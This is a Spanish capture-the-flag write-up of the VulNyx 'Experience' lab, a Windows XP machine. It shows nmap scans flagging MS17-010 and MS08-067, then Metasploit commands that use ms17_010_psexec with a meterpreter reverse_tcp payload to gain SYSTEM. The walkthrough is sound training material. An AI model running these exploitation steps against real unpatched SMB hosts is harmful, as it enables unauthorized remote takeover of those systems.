VulNyx - Experience
- CVE-2017-0143 - Metasploit SMB
Escaneo de puertos
❯ nmap -p- -T5 -n -v 192.168.1.12
PORT STATE SERVICE
135/tcp open msrpc
139/tcp open netbios-ssn
445/tcp open microsoft-ds
Escaneo de servicios
❯ nmap -sVC -p135,139,445 -v 192.168.1.12
PORT STATE SERVICE VERSION
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds Windows XP microsoft-ds
Service Info: OSs: Windows, Windows XP; CPE: cpe:/o:microsoft:windows, cpe:/o:microsoft:windows_xp
Host script results:
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
| nbstat: NetBIOS name: EXPERIENCE, NetBIOS user: <unknown>, NetBIOS MAC: 08:00:27:0d:40:07 (Oracle VirtualBox virtual NIC)
| Names:
| EXPERIENCE<00> Flags: <unique><active>
| WORKGROUP<00> Flags: <group><active>
| EXPERIENCE<20> Flags: <unique><active>
| WORKGROUP<1e> Flags: <group><active>
| WORKGROUP<1d> Flags: <unique><active>
|_ \x01\x02__MSBROWSE__\x02<01> Flags: <group><active>
|_smb2-time: Protocol negotiation failed (SMB2)
| smb-os-discovery:
| OS: Windows XP (Windows 2000 LAN Manager)
| OS CPE: cpe:/o:microsoft:windows_xp::-
| Computer name: experience
| NetBIOS computer name: EXPERIENCE\x00
| Workgroup: WORKGROUP\x00
|_ System time: 2024-01-21T15:23:23-08:00
|_clock-skew: mean: 12h59m59s, deviation: 5h39m24s, median: 8h59m59s
Escaneo de vulnerabilidades.
❯ nmap --script vuln -p445 192.168.1.12
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-01-21 15:49 CET
Nmap scan report for 192.168.1.12
Host is up (0.0012s latency).
PORT STATE SERVICE
445/tcp open microsoft-ds
Host script results:
|_smb-vuln-ms10-054: false
| smb-vuln-ms17-010:
| VULNERABLE:
| Remote Code Execution vulnerability in Microsoft SMBv1 servers (ms17-010)
| State: VULNERABLE
| IDs: CVE:CVE-2017-0143
| Risk factor: HIGH
| A critical remote code execution vulnerability exists in Microsoft SMBv1
| servers (ms17-010).
|
| Disclosure date: 2017-03-14
| References:
| https://blogs.technet.microsoft.com/msrc/2017/05/12/customer-guidance-for-wannacrypt-attacks/
| https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-0143
|_ https://technet.microsoft.com/en-us/library/security/ms17-010.aspx
|_smb-vuln-ms10-061: ERROR: Script execution failed (use -d to debug)
| smb-vuln-cve2009-3103:
| VULNERABLE:
| SMBv2 exploit (CVE-2009-3103, Microsoft Security Advisory 975497)
| State: VULNERABLE
| IDs: CVE:CVE-2009-3103
| Array index error in the SMBv2 protocol implementation in srv2.sys in Microsoft Windows Vista Gold, SP1, and SP2,
| Windows Server 2008 Gold and SP2, and Windows 7 RC allows remote attackers to execute arbitrary code or cause a
| denial of service (system crash) via an & (ampersand) character in a Process ID High header field in a NEGOTIATE
| PROTOCOL REQUEST packet, which triggers an attempted dereference of an out-of-bounds memory location,
| aka "SMBv2 Negotiation Vulnerability."
|
| Disclosure date: 2009-09-08
| References:
| https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-3103
|_ http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-3103
|_samba-vuln-cve-2012-1182: NT_STATUS_ACCESS_DENIED
| smb-vuln-ms08-067:
| VULNERABLE:
| Microsoft Windows system vulnerable to remote code execution (MS08-067)
| State: LIKELY VULNERABLE
| IDs: CVE:CVE-2008-4250
| The Server service in Microsoft Windows 2000 SP4, XP SP2 and SP3, Server 2003 SP1 and SP2,
| Vista Gold and SP1, Server 2008, and 7 Pre-Beta allows remote attackers to execute arbitrary
| code via a crafted RPC request that triggers the overflow during path canonicalization.
| Disclosure date: 2008-10-23
| References:
| https://technet.microsoft.com/en-us/library/security/ms08-067.aspx
|_ https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-425
El escaneo me ha detectado varias vulnerabilidades, yo usaré la ms17-010_psexec, también sirve la ms08-067. Abro Metasploit y hago una búsqueda por ms17-010.
msf6 > search ms17-010
Matching Modules
================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 exploit/windows/smb/ms17_010_eternalblue 2017-03-14 average Yes MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption
1 exploit/windows/smb/ms17_010_psexec 2017-03-14 normal Yes MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Code Execution
2 auxiliary/admin/smb/ms17_010_command 2017-03-14 normal No MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Command Execution
3 auxiliary/scanner/smb/smb_ms17_010 normal No MS17-010 SMB RCE Detection
4 exploit/windows/smb/smb_doublepulsar_rce 2017-04-14 great Yes SMB DOUBLEPULSAR Remote Code Execution
Con use 1 selecciono directamente el ms17_010_psexec.
msf6 > use 1
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
msf6 exploit(windows/smb/ms17_010_psexec) >
Configuro el exploit y lo lanzo con run.
msf6 exploit(windows/smb/ms17_010_psexec) > set rhosts 192.168.1.12
rhosts => 192.168.1.12
Lanzo sysinfo para ver información del sistema.
Con getsystem me doy cuenta de que ya soy SYSTEM.
Lanzo el comando shell y obtengo una consola de ms-dos.
En el escritorio de bill obtengo las flags.
Y aquí termina la máquina Experience.
Saludos!